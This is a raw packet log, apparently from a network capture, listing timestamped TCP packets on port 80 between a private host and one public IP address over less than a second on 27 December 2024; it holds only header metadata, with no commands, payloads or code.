Dec 27, 2024 09:00:27.160070896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160088062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160123110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.160176039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160191059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160207033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160223961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160242081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.160242081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.160373926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160389900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160407066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160506964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.160506964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.160940886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.160990953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161006927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161082029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161082983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.161114931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161129951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.161179066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161215067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161231995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161248922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.161289930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.161289930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.168759108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.192495108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192531109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192548990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192573071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.192610979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.192675114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192692041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192708015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192725897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192759037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.192780972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.192853928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192871094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192888021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192933083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.192955017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.192996979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.193042994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193059921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193114042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.193137884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193155050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193207026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.193376064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193432093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193448067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193506956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.193515062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193557024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193572998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193578959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.193591118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193671942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.193749905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193767071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193775892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.193844080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.194323063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.194369078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.194382906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.194431067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.238708973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.355959892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.355999947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356024981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356092930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356156111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356172085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356189013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356208086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356209993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356242895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356246948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356268883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356283903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356319904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356462002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356462002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356504917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356523037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356626987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356662989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356678963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356694937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356710911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356714010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356750965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356785059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356826067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356842041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.356842995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.356931925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.357384920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357458115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357475042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357574940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.357597113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357614994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357631922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357649088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357697010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.357697010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.357747078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357765913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.357877970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.358206034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358258009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358273029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358275890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.358326912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.358417034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358433008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358448982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358465910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358486891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.358556986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.358565092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358580112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358597040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.358617067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.359127045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359179020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359183073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.359194040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359252930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.359339952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359354973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359371901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359389067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359421968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.359472990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.359477997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359493971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359509945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.359548092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.360065937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360111952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360127926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360163927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.360183954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.360245943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360261917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360277891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360306978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360352039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.360352039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.360392094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360433102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360450029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.360536098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.360991955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361048937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361049891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.361066103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361135006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.361196995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361212969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361228943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361248016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361263037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.361289978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.361358881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361383915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361399889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361453056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.361936092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361983061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.361999989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362003088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.362133026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362137079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.362148046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362175941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362193108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362267971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362307072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362307072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.362324953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362440109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.362873077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.362986088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.363053083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.393826008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.393858910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.393874884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.393944025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.393944025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.394004107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394020081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394036055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394053936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394104004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.394104004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.394120932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394146919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394162893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394179106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394195080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394198895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.394234896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.394752979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394829988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394846916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394896030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.394902945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394918919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394934893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.394939899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.394977093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.395051956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395067930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395083904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395117998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.395153999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.395185947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395684004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395733118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395746946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.395752907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395803928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.395878077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395893097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395909071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.395932913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.438865900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.557409048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557452917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557470083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557538986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.557573080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557590008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557605982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557624102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557632923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.557650089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.557739019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557838917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557843924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.557852983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557893991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557898045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.557909966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.557988882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.558113098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558137894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558155060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558172941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558191061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558193922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.558219910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.558562994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558595896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558614016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558648109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.558677912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.558732986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558769941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558789015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.558893919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.559039116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559079885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559091091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.559096098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559158087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.559227943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559242964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559267044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559283018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559288025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.559374094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559391022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559406996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.559427023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.559448957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.559962988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560023069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560039043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560106039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.560106039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.560163975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560179949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560197115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560214996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560224056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.560261965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.560305119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560349941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560367107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560400963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.560910940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560962915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560980082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.560981989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.561069965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.561105013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561120987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561136961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561155081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561202049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.561234951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.561311960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561326981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561343908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561449051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.561845064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561891079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561902046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.561908007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.561974049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.562055111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562077045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562093973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562109947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562171936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.562171936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.562200069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562218904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562236071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562303066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.562791109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562815905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562832117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562865973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.562885046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.562971115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.562987089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563004971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563020945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563035011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.563075066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.563107967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563124895 CET	80	49743	185.215.113.16	192.168.2.4
